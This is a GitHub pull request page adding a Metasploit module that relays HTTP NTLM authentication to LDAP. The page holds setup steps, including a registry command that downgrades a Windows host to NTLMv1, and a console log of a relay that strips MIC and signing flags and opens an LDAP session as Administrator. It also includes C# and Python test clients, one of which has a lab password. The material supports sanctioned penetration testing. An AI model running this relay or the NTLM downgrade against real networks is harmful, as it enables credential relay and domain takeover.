Skip to content

HTTP to LDAP Relay Module#21323

Open
jheysel-r7 wants to merge 2 commits intorapid7:masterfrom
jheysel-r7:feat/http_to_ldap
Open

HTTP to LDAP Relay Module#21323
jheysel-r7 wants to merge 2 commits intorapid7:masterfrom
jheysel-r7:feat/http_to_ldap

Conversation

@jheysel-r7
Copy link
Copy Markdown
Contributor

@jheysel-r7 jheysel-r7 commented Apr 16, 2026

This PR adds an auxiliary relay module http_to_ldap which allows operators to relay HTTP NTLM authentication to an LDAP server. If successful the module opens an LDAP session. This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to one target, the relay server sends a 307 to the client and if the client is configured to repond to redirects, the client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not respond to redirects.

The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can be prefixed with Negotiate.

Verification

The Domain Computer will need to be configured to use NTLMv1 by setting the following registry key to a value less than or equal to 2:

PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
    LmCompatibilityLevel    REG_DWORD    0x2
  • Start msfconsole
  • use auxiliary/server/relay/http_to_ldap
  • Verify your target has an LMCompatibilityLevel which will allow relaying NTLM auth
  • Set RHOSTS
  • Run the module

Testing

Run the module, send http auth request to the relay server, profit:

msf auxiliary(server/relay/http_to_ldap) > run
[*] Auxiliary module running as background job 2.

[*] Relay Server started on 0.0.0.0:80
[*] Server started.
msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to ldap://172.16.199.201:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to ldap://172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Target list exhausted for 172.16.199.130. Closing connection.
msf auxiliary(server/relay/http_to_ldap) > sessions -i -1
[*] Starting interaction with 5...

LDAP (172.16.199.200) > getuid
[*] Server username: KERBEROS\Administrator
LDAP (172.16.199.200) >

HTTP Clients

There were a number of different clients used to test the module, listing here for visibility

Invoke-WebRequest / Curl.exe

Invoke-WebRequest -Uri http://172.16.199.1/test -UseDefaultCredentials
curl.exe -v -L --negotiate -u : http://172.16.199.1/test

C# executable

From SpectreOpts

SharpHTTP.exe

using System;
using System.Net.Http;
using System.Threading.Tasks;

namespace SharpHTTP
{
    internal class Program
    {
        static async Task Main(string[] args)
        {
            var url = $"http://{args[0]}:{args[1]}/test"; 

            var handler = new HttpClientHandler
            {
                UseDefaultCredentials = true, // Uses current Windows user credentials
                PreAuthenticate = true,
                AllowAutoRedirect = true
            };

            using (var client = new HttpClient(handler))
            {
                try
                {
                    HttpResponseMessage response = await client.GetAsync(url);
                    response.EnsureSuccessStatusCode();

                    string content = await response.Content.ReadAsStringAsync();
                    Console.WriteLine("Response received:");
                    Console.WriteLine(content);
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"Request failed: {ex.Message}");
                }
            }
        }
    }
}

GSS python script

I tried a number of different clients in order to test the NTLMv1 wrapped in GSS. Ran into a variety of issues which led me to the following python script:

gss_tester.py

(import requests
import base64
from impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp

# --- Configuration ---
TARGET_URL = "http://172.16.199.1/test"
DOMAIN = "KERBEROS"
USERNAME = "Administrator"
PASSWORD = "N0tpassword!"

print(f"[*] Starting Clean Impacket NTLMv1 Client against {TARGET_URL}")

# ==========================================
# PHASE 1: Send Type 1 Message
# ==========================================
# 1. Generate the raw NTLM bytes
type1_obj = getNTLMSSPType1(workstation='', domain='', signingRequired=False, use_ntlmv2=False)
type1_bytes = type1_obj.getData()

# 2. Use Impacket's built-in SPNEGO NegTokenInit
spnego_init = SPNEGO_NegTokenInit()
spnego_init['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
spnego_init['MechToken'] = type1_bytes
type1_raw = spnego_init.getData()

type1_b64 = base64.b64encode(type1_raw).decode('utf-8')

print(f"[*] -> Sending Type 1 (NegTokenInit)...")
session = requests.Session()
req1 = session.get(TARGET_URL, headers={"Authorization": f"Negotiate {type1_b64}"})

# ==========================================
# PHASE 2: Parse Type 2 Message
# ==========================================
auth_header = req1.headers.get("WWW-Authenticate", "")
print(f"[*] <- Received Challenge: {auth_header[:40]}...")

type2_raw = base64.b64decode(auth_header.replace("Negotiate ", ""))
ntlm_start = type2_raw.find(b"NTLMSSP\x00")
type2_ntlm_bytes = type2_raw[ntlm_start:]

# ==========================================
# PHASE 3: Send Type 3 Message
# ==========================================
# Calculate the pure NTLMv1 response
type3_obj, session_key = getNTLMSSPType3(
    type1_obj,
    type2_ntlm_bytes,
    USERNAME,
    PASSWORD,
    DOMAIN,
    '',
    use_ntlmv2=False
)
type3_bytes = type3_obj.getData()

# 3. Use Impacket's built-in SPNEGO NegTokenResp
spnego_resp = SPNEGO_NegTokenResp()
spnego_resp['ResponseToken'] = type3_bytes
type3_raw = spnego_resp.getData()

type3_b64 = base64.b64encode(type3_raw).decode('utf-8')

print(f"[*] -> Sending Type 3 (NegTokenTarg) strictly as NTLMv1...")
req2 = session.get(TARGET_URL, headers={"Authorization": f"Negotiate {type3_b64}"})

print("-" * 40)
print(f"[+] Final Server Response Code: {req2.status_code}")

Remove unnecessary code

Remove commented out code
@github-actions
Copy link
Copy Markdown

Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.

We've added the additional-testing-required label to indicate that additional testing is required before this pull request can be merged.
For maintainers, this means visiting here.

@github-actions
Copy link
Copy Markdown

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@smcintyre-r7 smcintyre-r7 self-assigned this Apr 17, 2026
@smcintyre-r7 smcintyre-r7 linked an issue Apr 17, 2026 that may be closed by this pull request
@github-actions
Copy link
Copy Markdown

Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.

We've added the additional-testing-required label to indicate that additional testing is required before this pull request can be merged.
For maintainers, this means visiting here.

@jheysel-r7 jheysel-r7 added docs rn-modules release notes for new or majorly enhanced modules and removed needs-docs labels Apr 17, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

additional-testing-required docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

Add an HTTP NTLM Relay Server

2 participants